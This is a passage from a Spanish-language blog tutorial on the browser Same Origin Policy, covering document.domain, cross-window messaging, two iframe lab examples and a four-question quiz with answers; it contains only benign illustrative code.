app.hackthebox.com. Como ya sabremos, ambos no tienen el mismo origen porque su hostname no es el mismo, por lo que hacer esta acción que comentamos, no será posible. Sin embargo, aquí es donde entra en juego la propiedad de document.domain. Una web puede cambiar siempre su hostname a uno de mayor jerarquía, exceptuando el TLD (Top Level Domain) como puede ser .com, .es, .net, .tech, etc etc. Y me refiero cambiarlo a nivel de como se percibe. Siguiendo esto, veamos como es a nivel práctico estando en el dominio app.hackthebox.com: Como vemos, ocurre lo dicho arriba, podemos cambiarlo a uno de jerarquía mayor, siempre y cuando no sea el TLD. Por lo que, sabiendo esto, volviendo al caso donde nos encontrábamos que academy.hackthebox.com quiere cambiar el contenido del <iframe> que incrusta a app.hackthebox.com. Esta acción solo será posible, si ambas web, cambian su document.domain a hackthebox.com, ya que, ahora sí que se considerará que tienen el mismo origen (porque el protocolo y puerto también coinciden, solo fallaba el hostname). Cross Window Messaging HTML5 permite a iframes, frames, popups y ventanas actuales comunicarse entre sí independientemente del SOP, esto es lo que se conoce como Cross Window Messaging. Esta característica permite que dos ventanas intercambien mensajes siempre y cuando tengan algún tipo de relación entre sí, como puede ser: Que una ventana tenga un <iframe> incrustado. Por lo tanto, existe una relación entre la ventana y el <iframe>, ambas se podrían comunicar.Que una ventana genere un popup. Por lo tanto, existe una relación entre la ventana y el popup, y también se podrían comunicar. Eso si, para poder intercambiar mensajes, cada parte de la relación debe de estar configurada para ello, ya sea para enviar, para recibir o ambas a la vez. Aquí, desde el punto de vista de la seguridad, hay que tener cuidado cuando la entidad que recibe, permite que el mensaje pueda provenir de cualquier origen, ya que, quizás una web que espera un mensaje, podríamos incrustarla mediante iframe en una web controlada por nosotros, y si la web incrustada no sanitiza el origen desde el cual acepta mensajes, nosotros desde nuestra web podríamos enviarle lo que quisiéramos. Pd: Cuando se habla de recibir mensajes, a nivel visual y práctico, no es más que un evento: window.addEventListener('message', (event) => { console.log(`Received message: ${event.data}`); }); Laboratorio de Pruebas Para ver ejemplos reales, vamos a usar el laboratorio de pruebas de «Carlos Azuax», el cual podéis encontrar en el siguiente repositorio de GitHub para que os lo podáis montar vosotros también: https://github.com/azuax/pruebas-sop Otro link que quizás os ayuda a montarlo es el siguiente: https://ostechnix.com/configure-apache-virtual-hosts-ubuntu-part-1/ Dicho esto, tenemos lo siguiente: En este caso, solo vamos a ver los dos primeros ejemplos que son los que nos interesan. Ejemplo 1 – Mismo Origen Código fuente: Como podemos observar, nos encontramos en la URL: http://uno.local/ejemplo1.html Y en el código, estamos creando un <iframe> de: http://uno.local/ejemplo1-iframe.html El cual es el que vemos en la imagen: Hasta aquí guay. Vemos que nos carga sin problemas el contenido del archivo ejemplo1-iframe.html. Por ahora, todo normal, ya que, hablando en contexto general, podemos cargar mediante un <iframe> cualquier web siempre y cuando esta lo permita. Ahora bien, otra cosa muy distinta y es donde aplica el SOP. Es que podamos modificar el contenido de un origen distinto al nuestro. Echándole un vistazo al código fuente: Vemos como si pulsamos el botón. La acción que se INTENTARÁ efectuar es la de cambiar el contenido del <iframe> por, en este caso, la frase: «Contenido modificado!». Estamos en la URL: http://uno.local/ejemplo1.html Y queremos cambiar el contenido del <iframe> que proviene de la URL: http://uno.local/ejemplo1-iframe.html Como hemos visto al principio del post, podemos identificar fácilmente, que ambos tienen el mismo origen. Por lo que no deberíamos de tener ningún problema a la hora de editar el contenido del <iframe>, que… OJO, obviamente no estamos editando el contenido original, solo el del <iframe>. Vamos a comprobarlo: Como vemos, se modifica sin problemas. Ya que ambas URL son del mismo origen. Ejemplo 2 – Distinto Origen Código fuente: En este caso, la URL en la que nos encontramos es: http://uno.local/ejemplo2.html Y estamos cargando un <iframe> de: http://dos.local/ejemplo2-iframe.html OJO, como somos unos máquinas, ya nos habremos dado cuenta de que en este caso, estas dos URL no tienen el mismo origen porque cambia el host. Aun así, el <iframe> carga sin problemas: Que es básicamente, lo que hemos hablado en el Ejemplo 1: «Por ahora, todo normal, ya que, hablando en contexto general, podemos cargar mediante un <iframe> cualquier web siempre y cuando esta lo permita.» Q si, q lo llevo diciendo todo el pto post, pero mejor que quede claro y no nos confundamos. Este ejemplo, es exactamente igual que el ejemplo 1. Sin embargo, en este caso, cuando pulsemos el botón, se intentará editar el contenido de un <iframe> cuyo origen es distinto al de la web que lo incrusta: Vamos a comprobar que ocurre si no es del mismo origen: Pues vemos que nos salta un error, y es por el Same Origin Policy. ¿Y sí… no existiera el SOP? Si el SOP no existiera, se tensaría que te cagas, porque literalmente podríamos traernos una web mediante <iframe> (de nuevo, siempre y cuando la web nos deje xdddddddd). Y editar cualquier cosa. Por ejemplo, que cuando le des a enviar, la cuenta de destino se cambiase por la mía: Por lo que, en definición: Podríamos traernos cualquier web y editarla con toda libertad. Esto no es que hiciese internet un poco menos seguro y tal, es que literalmente lo haría innavegable (y no solo por esto, esto es solo un ejemplo de algo que se podría hacer, pero hay infinidad de cosas mas, como que por ejemplo, tu al visitar una web maliciosa, esta tenga la capacidad de realizar una petición a la web de tu banco, y leer la respuesta, obteniendo así tu información. El SOP no previene que haga la petición, pero si previene que lea la respuesta, como se ha comentado al principio). Aquí puedes decir, si bueno, pero es una ventana chica, ¿quién va a caer en eso? Pues, es una ventana chica si lo hacemos cutre, pero si lo hacemos bien: Pues ya no lo es tanto. Imagínate que esto fuese la web de tu banco, no notarías ninguna diferencia más allá del dominio donde se aloje el <iframe>. Es por esto, que la existencia del SOP es superimportante en cuanto a seguridad web se refiere. Vamos a ver si ha quedado claro Ahora vamos a ver 4 ejemplos donde veremos si te ha quedado claro el concepto, y si fallas, pues me debes un kebab. Okno, fallar está bien, al igual que mirar Write Ups, lo importante es aprender. Volviendo al caso, vamos a ver 4 ejercicios y dejaré la solución al final, apúntate en un bloc de notas o algo si crees que se podría llevar a cabo con éxito el código que se muestra. PD: Estos ejercicios están sacados de la web de web.dev. Ejercicio 1 Tenemos en el dominio de deephacking.tech, el siguiente <iframe>: <iframe id="iframe" src="https://example.com/some-page.html" alt="Sample iframe"></iframe> E incluimos el siguiente código: const iframe = document.getElementById('iframe'); const message = iframe.contentDocument.getElementById('message').innerText; ¿Se ejecutará con éxito la acción que estamos intentando hacer? Sí o No. Ejercicio 2 Tenemos en el dominio de deephacking.tech el siguiente formulario: <form action="https://example.com/results.json"> <label for="email">Enter your email: </label> <input type="email" name="email" id="email" required> <button type="submit">Subscribe</button> </form> ¿Está permitido esto? Sí o No. Ejercicio 3 Tenemos en el dominio deephacking.tech el siguiente <iframe>: <iframe src="https://example.com/some-page.html" alt="Sample iframe"></iframe> ¿Funcionará? Sí o No. Ejercicio 4 Por último, pero no menos importante, tenemos en el dominio deephacking.tech el siguiente código: <canvas id="bargraph"></canvas> Además, también está el siguiente código Javascript que intenta dibujar una imagen en el canvas: var context = document.getElementById('bargraph').getContext('2d'); var img = new Image(); img.onload = function() { context.drawImage(img, 0, 0); }; img.src = 'https://example.com/graph-axes.svg'; ¿Conseguirá esta imagen dibujarse en el canvas? Sí o No. Soluciones UwU Ok, esta imagen es para que no vieses las soluciones de refilón por si bajas demasiado rápido. Pongo otra por si acaso: Dicho esto, vamos con las soluciones: Ejercicio 1: Noup, no se puede, ya que estamos intentando leer información de un <iframe> cuyo origen es distinto al nuestro.Ejercicio 2: Siiiiipppp, porque como hemos dicho previamente, está totalmente permitido colocar en el atributo action de un form, una web que tenga un origen distinto.Ejercicio 3: Yeess!! Pero OJO, hay que tener cuidado, ya que dependerá de si la web que estamos intentando incrustar, nos deje o no. Realmente en el ejercicio 1 estaríamos en el mismo caso, pero no era el fin de ese ejercicio mencionar este detalle.Ejercicio 4: Depende. Este caso dependerá de la cabecera CORS que tenga la imagen, si lo permiten, guay, se puede, sino, lanzará un error. Conclusión Sé que este concepto puede llegar a entenderse un poco de forma ambigua y demás, y no solo eso, no es sencillo de entender si nunca has tenido contacto con el DOM mediante Javascript. Pero al menos espero haber conseguido que no solo sepas que existe, sino que al menos tengas una idea básica. De todas formas, en este post no hemos visto una de las cosas más importantes que a día de hoy va de la mano con el SOP, y es el CORS (Cross-site Resource Sharing), a este le dedicaré (o le habré dedicado si vienes del futuro) un post completo 👍. Referencias Ejemplos de Same Origin PolicySame Origin Policy – SOPSame-origin policyWeb Application Penetration Testing